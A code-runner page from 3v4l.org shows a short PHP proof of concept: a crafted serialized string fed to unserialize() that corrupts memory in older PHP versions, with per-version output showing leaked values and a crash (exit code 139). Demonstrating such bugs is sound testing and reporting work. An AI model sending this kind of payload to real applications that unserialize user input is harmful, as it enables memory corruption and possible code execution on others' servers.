3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:4:"test";}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
based on Q7caS
Output for 7.0.20, 7.1.5 - 7.2.0
array(2) { [0]=> int(1) [2]=> string(4) "test" }
Output for 7.0.0 - 7.0.6, 7.1.0
array(1) { [0]=> int(1) }
Output for 5.4.39 - 5.6.28
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> string(4) "test" }
Output for 5.4.36 - 5.4.38
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &string(4) "1" }
Process exited with code 139.
Output for 5.4.8 - 5.4.35
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> string(3) "hi2" }
Output for 5.3.18 - 5.3.29
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> string(3) "hi1" }